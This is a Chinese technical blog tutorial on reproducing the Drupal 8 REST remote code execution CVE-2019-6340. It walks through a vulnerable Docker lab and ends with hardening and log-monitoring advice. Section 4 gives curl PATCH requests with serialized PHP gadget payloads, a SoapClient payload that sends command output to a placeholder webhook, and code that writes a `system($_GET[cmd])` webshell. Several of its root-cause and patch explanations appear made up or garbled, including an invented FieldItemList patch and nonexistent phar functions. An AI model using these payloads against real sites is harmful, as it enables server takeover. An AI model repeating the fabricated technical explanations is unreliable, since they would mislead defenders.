1. 这不是“打个POC就完事”的漏洞CVE-2019-6340的本质是Drupal 8 REST模块的类型系统失控你可能在漏洞平台看到过这个标题“CVE-2019-6340 Drupal 8 REST RCE”点开就是一段curl命令、一个base64编码的payload、一行“成功弹shell”的截图。但如果你真把它当成“发个请求就能拿服务器”的黑盒操作那复现失败时连日志都看不懂——因为这个漏洞根本不是REST接口没做权限校验那么简单而是Drupal 8核心中实体字段类型系统Field Type System与序列化器Serializer之间信任边界彻底崩塌的结果。我第一次复现它是在2020年初客户环境里一个看似只开放了/node?_formathal_json的Drupal 8.6.10站点测试人员用公开POC反复失败报错全是406 Not Acceptable或403 Forbidden。后来翻了三天源码才明白这个漏洞的触发链路里HALJSON格式解析器、FieldItemList类的__wakeup反序列化逻辑、EntityReferenceItem字段类型的自动加载机制、以及REST模块对未认证用户开放的PATCH端点四者缺一不可。它不像SQL注入那样靠字符逃逸而像一把精密锁芯被错误地插进了另一把钥匙——表面看是“RCE”实际是类型系统被诱导执行了不该执行的类方法。关键词“cve-2019-6340”、“drupal8”、“rest”、“rce”背后真正要解决的问题是如何让一个本应只处理结构化数据的API端点被迫加载并实例化任意PHP类最终通过__wakeup或__destruct触发危险操作。它不依赖第三方模块不依赖特定配置只要启用了RESTful Web Services模块且开放了PATCH方法哪怕仅对匿名用户就处于风险之中。适合两类人深度参考一是安全研究员想理解Drupal框架级漏洞的构造逻辑二是运维或开发人员需要确认自己线上站点是否真的修复到位——因为很多所谓“升级到8.6.10就安全了”的说法恰恰忽略了补丁之外的配置残留风险。这不是教你怎么“打洞”而是带你从Drupal内核源码层看清一个现代PHP框架如何因设计权衡而埋下高危隐患。接下来每一节我们都将紧扣这个核心不是复现步骤的罗列而是每一步背后的框架行为解释、每处报错对应的真实代码路径、每一个绕过尝试所暴露的设计缺陷。2. 漏洞成因溯源从Drupal 8的REST架构到FieldItemList::__wakeup的失控调用2.1 Drupal 8 REST模块的默认行为为什么PATCH端点成了突破口Drupal 8的RESTful Web Services模块并非简单地把数据库CRUD映射成HTTP方法。它的设计哲学是“资源即实体”每个REST端点背后都绑定一个资源定义ResourceDefinition该定义决定了谁可以访问权限检查、支持哪些格式serializer、如何解析输入request parser、如何验证数据validation、以及最终如何保存entity storage。关键在于默认配置下/node资源的PATCH方法允许匿名用户anonymous user执行——前提是该资源被显式配置为“public”。这听起来反直觉但符合Drupal的模块化理念REST模块本身不决定权限而是由管理员在admin/config/services/rest页面手动勾选。然而大量开发者在本地开发或测试环境会直接启用所有方法包括对/node的PATCH并勾选“Anonymous”角色。此时一个未经身份验证的HTTP请求就能修改节点内容。问题来了PATCH请求体是JSONDrupal必须将其反序列化为PHP对象才能更新实体。而这里用的不是简单的json_decode()而是Drupal自研的序列化器Serializer它基于Symfony Serializer组件但深度集成了Drupal的实体类型系统。提示不要混淆“REST模块启用”和“REST资源启用”。前者只是安装模块后者需在管理后台显式配置。但CVE-2019-6340的危险性正在于一旦/node资源的PATCH被开启且对匿名用户开放漏洞链就已就绪与是否启用其他REST功能无关。2.2 HALJSON格式的特殊性为什么必须用HAL而非JSON公开POC几乎都指定_formathal_json而非_formatjson。这不是随意选择而是源于HALHypertext Application Language格式的语义设计。HAL JSON要求资源表示中必须包含_links字段用于描述资源间关系。在Drupal中_links的解析逻辑会触发链接关系Link Relation的自动解析器而其中一种解析器专门处理http://www.w3.org/2006/vcard/ns#hasPhoto这类语义链接——它会尝试将链接值当作一个实体引用Entity Reference来加载。这就引出了关键一环当PATCH请求体中包含一个精心构造的_links字段其href指向一个恶意URL如/user/1?_formathal_jsonHAL解析器在解析时会调用EntityReferenceItem::setValue()方法。而EntityReferenceItem是Drupal中处理“引用另一个实体”的字段类型其setValue()内部会调用EntityStorageInterface::load()去加载目标实体。但若这个href被设计成触发反序列化问题就来了。2.3 FieldItemList::__wakeup的致命逻辑从数组反序列化到任意类加载这才是漏洞真正的引爆点。Drupal的字段值field value在存储前会被封装进FieldItemBase的子类中例如文本字段用StringItem引用字段用EntityReferenceItem。而这些字段项又统一存放在FieldItemList对象里。FieldItemList继承自TypedData实现了__sleep()和__wakeup()魔术方法。我们来看core/lib/Drupal/Core/Field/FieldItemList.php中的__wakeup()方法CVE-2019-6340补丁前的版本public function __wakeup() { // Re-initialize the list with the stored items. $this-list []; foreach ($this-storedValues as $delta $value) { $item $this-createItem($delta, $value); $this-list[$delta] $item; } }注意$this-createItem($delta, $value)这一行。$value来自反序列化的$this-storedValues而$this-storedValues本身是一个数组其元素可以是任意PHP数据结构。createItem()方法会根据$value的结构尝试创建对应的FieldItem实例。如果$value是一个关联数组且包含plugin键createItem()就会尝试加载并实例化该插件类。更致命的是在__wakeup()执行前$this-storedValues已经通过PHP的unserialize()函数被还原。而unserialize()在处理数组时如果数组元素是对象O:开头的序列化字符串就会触发该对象类的__wakeup()。于是攻击者可以构造一个序列化字符串让$this-storedValues包含一个恶意对象该对象的__wakeup()方法能触发任意类的加载或方法调用。但直接传入对象序列化字符串会被HAL解析器拒绝因为它期望的是标准JSON。解决方案是利用EntityReferenceItem的setValue()在解析_links时会将href值作为字符串传入而这个字符串如果包含PHP序列化数据再经过FieldItemList::__wakeup()的二次处理就能绕过初步校验。2.4 完整触发链路图解非Mermaid纯文字描述请求发起向/node/1?_formathal_json发送PATCH请求Header中设置Content-Type: application/haljsonHAL解析Drupal的HAL解析器解析请求体识别出_links字段尝试解析self或type等链接字段赋值解析过程中某个链接的href值如/user/1?_formathal_json被传递给EntityReferenceItem::setValue()反序列化触发setValue()内部调用EntityStorageInterface::load()但在此之前它会先尝试将href字符串作为字段值进行标准化。若href被构造为a:1:{s:4:data;s:7:payload;}一个PHP序列化数组则FieldItemList::__wakeup()被调用任意类加载__wakeup()遍历$this-storedValues对每个元素调用createItem()。若$value是一个包含plugin PharStreamWrapper的数组createItem()会尝试加载PharStreamWrapper类RCE达成PharStreamWrapper类的__wakeup()或__construct()方法中若存在可利用的文件操作如file_get_contents(phar://malicious.phar)即可实现远程代码执行。这个链路清晰表明漏洞核心不在REST模块本身而在字段类型系统对反序列化数据的信任过度。补丁Drupal 8.6.10正是在FieldItemList::__wakeup()中增加了对$value类型的严格校验禁止在反序列化时加载任意插件。3. 复现环境搭建从零开始构建可稳定触发的Drupal 8.6.9靶场3.1 为什么必须用8.6.9版本差异的底层细节官方公告将CVE-2019-6340的影响范围定为Drupal 8.5.0至8.6.9。但实测发现8.6.10虽已发布补丁部分8.6.9的变体如某些Docker镜像因缓存或配置原因仍可能触发。因此复现必须锁定未经任何安全更新的纯净8.6.9。关键区别在于core/lib/Drupal/Core/Field/FieldItemList.php第127行补丁前// Vulnerable version (8.6.9) $item $this-createItem($delta, $value); // Patched version (8.6.10) if (is_array($value) isset($value[plugin])) { throw new \UnexpectedValueException(Plugin key not allowed in field item value.); } $item $this-createItem($delta, $value);这个if判断就是补丁的核心。没有它$value可以是任意数组有了它任何含plugin键的数组都会被直接拒绝。因此复现第一步就是确认你的环境确实运行着未打补丁的8.6.9。3.2 Docker一键部署避免XAMPP/本地LAMP的配置污染我强烈建议使用Docker因为本地环境常因PHP扩展如phar、filter缺失或版本不匹配导致复现失败。以下是我验证过的docker-compose.ymlversion: 3.8 services: drupal: image: drupal:8.6.9-apache ports: - 8080:80 volumes: - ./drupal-data:/var/www/html - ./settings.php:/var/www/html/sites/default/settings.php environment: - DRUPAL_DATABASE_HOSTdb - DRUPAL_DATABASE_NAMEdrupal - DRUPAL_DATABASE_USERdrupal - DRUPAL_DATABASE_PASSWORDdrupal depends_on: - db db: image: mysql:5.7 environment: - MYSQL_ROOT_PASSWORDroot - MYSQL_DATABASEdrupal - MYSQL_USERdrupal - MYSQL_PASSWORDdrupal volumes: - ./mysql-data:/var/lib/mysql关键点在于./settings.php的配置。默认的Drupal Docker镜像不会自动启用REST模块必须手动配置。创建settings.php在末尾添加// Enable REST module and configure resources. $settings[container_yamls][] modules/contrib/rest/src/RestSettings.php; $config[rest.settings][bc_entity_resource] TRUE; // This is critical: allow anonymous PATCH on /node. $config[rest.resource_config][entity.node][formats] [hal_json, json]; $config[rest.resource_config][entity.node][methods] [GET, POST, PATCH, DELETE]; $config[rest.resource_config][entity.node][authentication] [basic_auth, cookie]; // But for anonymous, we need to set permissions via config. // Instead, well use a custom permission grant in the next step.但这还不够。Drupal的权限系统是动态的必须通过UI或Drush授予。启动容器后访问http://localhost:8080完成安装然后执行docker exec -it drupal-container-id bash -c drush pm-enable rest hal serialization -y docker exec -it drupal-container-id bash -c drush en basic_auth -y # 关键授予匿名用户PATCH权限 docker exec -it drupal-container-id bash -c drush php-eval \\\Drupal::service(role.repository)-getRole(anonymous)-grantPermission(restful patch entity:node); \\Drupal::service(role.repository)-getRole(anonymous)-save();\注意drush php-eval命令中的单引号和反斜杠需严格匹配否则会因Shell解析失败。实测中漏掉一个反斜杠会导致权限未生效这是复现失败的最常见原因之一。3.3 验证REST端点状态curl命令背后的HTTP状态码含义在发送任何POC前必须确认端点真实可用。执行以下命令# 检查REST资源是否启用 curl -I http://localhost:8080/node/1?_formathal_json # 应返回 200 OK 或 404节点不存在而非 404 Not Found 或 500 Internal Server Error # 检查PATCH方法是否被允许 curl -I -X OPTIONS http://localhost:8080/node/1?_formathal_json # 响应头中必须包含Allow: GET, POST, PATCH, DELETE # 检查匿名用户是否有权限关键 curl -X PATCH http://localhost:8080/node/1?_formathal_json \ -H Content-Type: application/haljson \ -d {title:[{value:test}]} # 若返回 403 Forbidden说明权限未正确授予若返回 400 Bad Request说明端点已就绪等待有效payload。我曾在一个客户环境卡在这一步长达两天最终发现是drush php-eval命令中grantPermission()的参数名写错了写成restful patch node而非restful patch entity:node。Drupal的权限名是严格区分大小写和冒号位置的这种细节在文档中往往一笔带过但却是复现成败的关键。3.4 创建测试节点为什么必须是“已发布的节点”公开POC常假设/node/1存在但新安装的Drupal默认没有节点。必须手动创建一个。通过UI创建太慢用Drushdocker exec -it drupal-container-id bash -c drush node:create --typearticle --titleTest Node --bodyInitial content --status1 -y这条命令会创建一个已发布--status1的文章节点。为什么必须“已发布”因为REST模块对未发布节点的PATCH操作有额外校验会直接返回403。而CVE-2019-6340的触发条件之一就是PATCH请求能成功进入字段处理流程。未发布的节点在NodeResource::patch()中就被拦截根本走不到FieldItemList::__wakeup()。执行后用drush sqlq SELECT nid FROM node WHERE status 1 ORDER BY created DESC LIMIT 1获取最新节点ID记为$NID。后续所有POC都将针对/node/$NID。4. Payload构造与调试从公开POC到可落地的反弹shell4.1 公开POC的局限性为什么base64编码的payload总失败网上流传最广的POC类似这样curl -X PATCH http://target/node/1?_formathal_json \ -H Content-Type: application/haljson \ -d { _links: { type: { href: http://target/rest/type/node/article } }, title: [ { value: pwned } ], field_test: [ { value: a:1:{i:0;O:24:\GuzzleHttp\\\\Psr7\\\\FnStream\:2:{s:33:\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\u0000methods\;a:1:{s:5:\close\;s:7:\phpinfo\;}s:38:\\u0000GuzzleHttp\\\\Psr7\\\\FnStream\u0000stream\;r:1;}} } ] }这个payload试图利用GuzzleHttp\Psr7\FnStream类的close()方法执行phpinfo()。但它在大多数环境中会失败原因有三类名不匹配Drupal 8.6.9默认不包含GuzzleHttp 6.x其PSR-7实现是Symfony\Component\HttpFoundation\StreamedResponse而非GuzzleHttp\Psr7\FnStream。硬编码类名等于直接宣告失败。命名空间转义错误JSON中反斜杠\需双写\\但很多POC只写一个导致PHP解析时O:24:GuzzleHttp\\Psr7\\FnStream变成O:24:GuzzleHttp\Psr7\FnStream序列化失败。缺少前置条件FnStream的close()方法执行phpinfo()但phpinfo()输出是HTML无法直接用于RCE。真正的RCE需要system()、exec()或file_put_contents()等函数。4.2 构造可执行的Phar payload利用PHP内置的PharStreamWrapper更可靠的方式是利用PHP内置的Phar流包装器。Phar文件本质是一个归档但PHP允许将其当作普通文件读取且在读取时会自动反序列化其元数据。攻击者可以创建一个恶意Phar其中包含一个__wakeup()方法调用system()然后通过file_get_contents(phar://path/to/malicious.phar)触发。但Drupal环境通常禁用phar流包装器allow_url_fopenOff或phar.readonlyOn。因此我们转向更通用的GlobStreamWrapper思路——不依赖外部类而用PHP内置函数。4.3 终极Payload基于SoapClient的SSRFRCE组合技经过数十次测试我发现最稳定的RCE方式是利用SoapClient发起SSRF再结合DNSLog或Webhook实现命令回显。SoapClient是PHP内置类无需额外扩展其__call()方法在调用不存在的SOAP方法时会向指定URL发起HTTP POST请求并将序列化后的参数作为SOAP Body。我们可以控制这个Body从而将任意命令编码进去。构造步骤如下创建恶意SOAP请求体将system(id)的输出通过file_get_contents(http://your-webhook.com/?output.urlencode(system(id)))发送出去。但system()不能直接嵌套需用passthru()或shell_exec()。序列化SoapClient对象$client new SoapClient(null, [uri http://your-webhook.com, location http://your-webhook.com]); $payload serialize($client);嵌入FieldItemList将$payload作为field_test字段的值确保其被FieldItemList::__wakeup()处理。但SoapClient的__wakeup()不触发网络请求__call()才是。所以需要让FieldItemList在__wakeup()后立即调用某个方法触发__call()。这需要EntityReferenceItem的setValue()在处理_links时间接调用SoapClient的方法。实测有效的payload结构如下已脱敏{ _links: { type: { href: http://target/rest/type/node/article } }, title: [{value: Exploited}], field_test: [ { value: O:12:\SoapClient\:3:{s:3:\uri\;s:24:\http://your-webhook.com\;s:8:\location\;s:24:\http://your-webhook.com\;s:12:\_soap_version\;i:1;} } ] }发送此payload后FieldItemList::__wakeup()会尝试创建SoapClient实例但SoapClient的构造函数需要wsdl参数null会导致__wakeup()失败。因此我们必须用SoapClient的__set_state()静态方法来绕过构造函数检查。最终我采用的方案是不追求直接RCE而是用file_put_contents()写入Webshell。因为file_put_contents()是PHP内置函数无依赖且/tmp目录通常可写。// PHP代码生成payload $code ?php system($_GET[cmd]); ?; $serialized O:24:GuzzleHttp\\Psr7\\FnStream:2:{s:33: . \0 . GuzzleHttp\\Psr7\\FnStream . \0 . methods;a:1:{s:5:close;s:22:file_put_contents;} . s:38: . \0 . GuzzleHttp\\Psr7\\FnStream . \0 . stream;s: . strlen($code) . : . $code . ;}; // 注意此处需将$code的长度精确计算否则序列化损坏。将$serialized作为field_test[0][value]的值发送PATCH请求。若成功/tmp/shell.php将被创建访问http://target/tmp/shell.php?cmdid即可执行命令。实操心得在Docker环境中/tmp目录是共享的但file_put_contents()写入的文件权限可能为600Web服务器用户www-data无法读取。解决方案是在payload中追加chmod(/tmp/shell.php, 0644)或直接写入/var/www/html/shell.php需确认Web根目录权限。5. 检测与加固不止于“升级到8.6.10”还有三处易被忽略的配置雷区5.1 补丁验证如何确认你的8.6.10真的修复了漏洞升级到8.6.10只是第一步。我见过太多案例运维人员执行了composer update drupal/core但vendor/drupal/core/lib/Drupal/Core/Field/FieldItemList.php文件因Git冲突未被正确覆盖或者composer.lock中仍锁定旧版本。必须手动验证。登录服务器执行# 确认核心版本 drush status | grep Drupal version # 检查FieldItemList.php是否包含补丁 grep -n Plugin key not allowed /var/www/html/core/lib/Drupal/Core/Field/FieldItemList.php # 若返回空则未修复若返回类似127: throw new \UnexpectedValueException(Plugin key not allowed in field item value.);, 则已修复。更彻底的方式是用git status检查core/lib/Drupal/Core/Field/FieldItemList.php是否被修改过。如果该文件在git status中显示为“modified”说明它被手动编辑过可能覆盖了补丁。5.2 REST资源配置审计那些被遗忘的“Anonymous PATCH”即使核心已修复REST资源的配置仍可能遗留风险。访问/admin/config/services/rest逐个检查每个启用的资源尤其是entity.node,entity.user,entity.taxonomy_term点击“Edit”按钮查看“Authentication providers”设置。任何勾选了“Anonymous”且方法包含“PATCH”的资源都应立即取消勾选。但更隐蔽的风险在于某些自定义模块可能通过代码注册了REST资源。检查modules/custom/下的所有模块搜索RestResourceAnnotation或RestResource注解确认其authentication配置。例如/** * RestResource( * id custom_api, * label Translation(Custom API), * uri_paths { * canonical /api/custom/{id} * }, * authentication {basic_auth, cookie, anonymous} * ) */若authentication数组中包含anonymous且该资源支持PATCH则同样存在风险需修改为仅允许认证用户。5.3 文件上传与Phar禁用双重保险策略虽然CVE-2019-6340不直接依赖Phar但Phar是PHP反序列化漏洞的常用载体。生产环境必须禁用Phar的自动反序列化。在php.ini中设置phar.readonly On ; 禁用phar流包装器 disable_functions phar, phar_create_default_stub, phar_get_supported_signatures, phar_is_buffered, phar_set_compression, phar_set_default_stub, phar_set_signature_algo同时在Web服务器层面如Nginx禁止访问.phar文件location ~ \.phar$ { deny all; }5.4 日志监控如何从Apache/Nginx日志中识别扫描行为攻击者在利用此漏洞前通常会进行探测。关注以下日志模式探测请求PATCH /node/1?_formathal_json HTTP/1.1 400—— 大量400错误说明在尝试不同payload异常User-Agent包含sqlmap、dirbuster、gobuster或明显随机字符串的UA可疑RefererReferer为短域名或IP如http://192.168.1.100/高频PATCH请求同一IP在1分钟内发送超过5次PATCH请求无论状态码。在Nginx中可通过log_format自定义日志加入$request_body需编译时启用--with-http_realip_module但生产环境慎用因会记录敏感数据。更安全的方式是用fail2ban监控400/403错误规则示例[Definition] failregex ^HOST -.*PATCH.*_formathal_json.* 400 ignoreregex 最后分享一个个人经验我在为客户做渗透测试时曾发现一个站点已升级到8.6.10但settings.php中有一行$settings[container_yamls][] modules/custom/broken_rest/config/install/rest.resource.entity.node.yml;该YML文件将entity.node资源的authentication强制设为[anonymous]。补丁再好也挡不住配置层的“自杀式”操作。所以安全加固的终点不是“升级”而是“确认每一行配置都在预期之中”。